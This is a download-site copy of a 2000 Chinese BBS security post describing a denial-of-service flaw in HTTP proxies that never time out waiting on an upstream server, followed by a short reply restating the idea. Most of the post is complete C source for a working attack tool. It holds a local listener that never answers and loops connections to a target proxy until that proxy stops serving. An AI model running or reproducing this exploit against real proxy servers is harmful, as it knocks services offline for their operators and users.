⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 http 代理的停止服务攻击.txt

📁 当今
💻 TXT
字号:
发信人: scz (小四), 信区: Security 

标  题: HTTP 代理的停止服务攻击 

发信站: 武汉白云黄鹤站 (Fri Jun 16 23:55:24 2000), 站内信件 

  

原文出处:http://packetstorm.securify.com/0006-exploits/proxy.dos 

  

HTTP 代理的停止服务攻击 

Quans: Redp0wer 

www.red.sunsnet.com 

  

浏览器在使用http代理时,我发现一个有意思的错误, 代理服务器不做timeout检查在 

要访问的web服务器上,既然这样,我们就可以利用 fork() 来复制大量错误请求进程, 

来攻击代理服务器. 我攻击过用delegate6.1.13的代理服务器,它先是延时,然后速度 

大幅下降,在用完所有空数据包之后,它不接受任何请求. 我想这个漏洞是普遍存在的, 

所以,它可能在大多数代理服务器上存在. 

  

这段代码的原理很简单,就是我先绑定自己的80端口,然后用listen() 来监听大量的 

请求,只监听,并不回复它,然后连接要攻击的代理服务器,创建一个访问我自己的进程, 

然后复制大量的访问子进程.......:) 

  

-- CUT HERE -- 

  

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#include <sys/socket.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <errno.h> 

#include <stdarg.h> 

  

#define HOLD 65535 

#define MAX 4096 

#define PORT 8080 

  

void Stall(void) 

{ 

   if (!fork()) { 

      struct sockaddr_in box; 

      int sock; 

  

      sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 

      if (sock<0) { perror("socket()"); exit(1); } 

  

      memset(&box,0,sizeof(struct sockaddr_in)); 

      box.sin_addr.s_addr = INADDR_ANY; 

      box.sin_port = htons(80); 

      box.sin_family = AF_INET; 

  

      if (bind(sock,(struct sockaddr*)&box,sizeof(struct sockaddr))<0) { 

     perror("bind() "); 

     exit(1); 

      } 

      if (listen(sock,HOLD)<0) { 

     perror("listen() "); 

     exit(1); 

      } 

      for (;;); /* keep holding up the connections */ 

   } 

} 

  

int Connect(int ip, int port) 

{ 

   int sock; 

   struct sockaddr_in x0r; 

  

   sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 

   if (sock<0) { 

      perror("Connect()->socket() "); 

      return -1; 

   } 

   memset(&x0r,0,sizeof(struct sockaddr_in)); 

   x0r.sin_port = htons(port); 

   x0r.sin_addr.s_addr = ip; 

   x0r.sin_family = AF_INET; 

   if (connect(sock,(struct sockaddr*)&x0r,sizeof(struct sockaddr))<0) 

     perror("Connect()->connect() "); 

   return sock; 

} 

  

int sprint(int fd, const char *str,...) 

{ 

   va_list args; 

   char msg[MAX]; 

  

   memset(&msg,0,sizeof(msg)); 

   va_start(args,str); 

   vsnprintf(msg,MAX,str,args); 

   return(write(fd,msg,strlen(msg))); 

} 

  

int main(int argc, char *argv[]) 

{ 

   int fd=1,keepalive=1; 

  

   fprintf(stderr, "Many http proxies denial of service by sectorx\n"); 

   if (argc < 3) { 

      fprintf(stderr, "Hmm...usage: %s <your ip> <target ip> [ -no-keepalive ]\n 

,argv[0]); 

      exit(1); 

   } 

   if (argc>3) keepalive=0; 

   fprintf(stderr, "Keep-alive = %d\n",keepalive); 

   Stall(); 

   fprintf(stderr, "Attacking: "); 

   while (fd>0) { 

      fd = Connect(inet_addr(argv[2]),PORT); 

      sprint(fd,"GET http://%s/ HTTP/1.0\n\n",argv[1]); 

      if (keepalive == 0) close(fd); 

      fprintf(stderr, "."); 

   } 

   if (keepalive == 1) for(;;); 

} 

  

-- CUT HERE -- 

  

scz: 

  

让我来理解一下你的意思,http proxy发出http request之后,如果http server 

没有发出http reply,http proxy并不会象普通的http client一样靠timeout 

终止这次连接请求,于是处在无限等待状态中? 

  

是这个意思吗? 

  

-- 

  

  

            也许有一天,他再从海上蓬蓬的雨点中升起, 

            飞向西来,再形成一道江流,再冲倒两旁的石壁, 

            再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... 

  

※ 修改:.triton 于 Jun 19 08:47:23 修改本文.[FROM: prai.hust.edu.cn] 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -